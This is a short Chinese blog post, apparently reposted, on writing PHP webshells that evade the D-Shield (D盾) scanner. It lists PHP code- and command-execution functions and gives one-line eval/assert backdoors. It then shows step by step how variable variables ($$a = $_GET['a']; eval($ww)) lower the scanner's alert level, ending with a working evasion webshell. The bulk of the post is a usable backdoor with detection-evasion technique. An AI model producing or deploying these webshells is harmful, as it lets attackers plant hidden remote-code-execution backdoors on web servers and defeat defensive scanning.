webshell绕过D盾


PHP常见的代码执行函数:

eval()
assert()
preg_replace()
create_function()
array_map()
call_user_func()
call_user_func_array()
array_filter
usort
uasort()

PHP常见的命令执行函数

system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()

常见的一句话

<?php eval($_POST['a']);?>
<?php assert(@$_POST['a']); ?>

可以看出直接就是5级eval后门,
如果把$_POST['a']换成一个变量,D盾的级别成了4级,如下图:

如果把$a在变为一个定义好的变量,级别就会变成1,所以是eval后门,因为参数的问题,D盾也有说明

所以,可以用可变变量,可变变量是一种PHP独特的变量,他允许动态改变一个变量的名称。故加入到一句话木马中

<?php
$a = 'qq';
$$a = $_GET['a'];
eval($ww);
?>

如图发现,说参数ww是未知内容了,那么直接在第一行定义一下ww试试

成了可疑eval,剩下的利用php相关的特性和连接符,或者注释符,即可绕过

<?php
$ww = "nice";
$a = 'ww';
$$a = $_GET['a'];
echo eval($ww);
?>


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM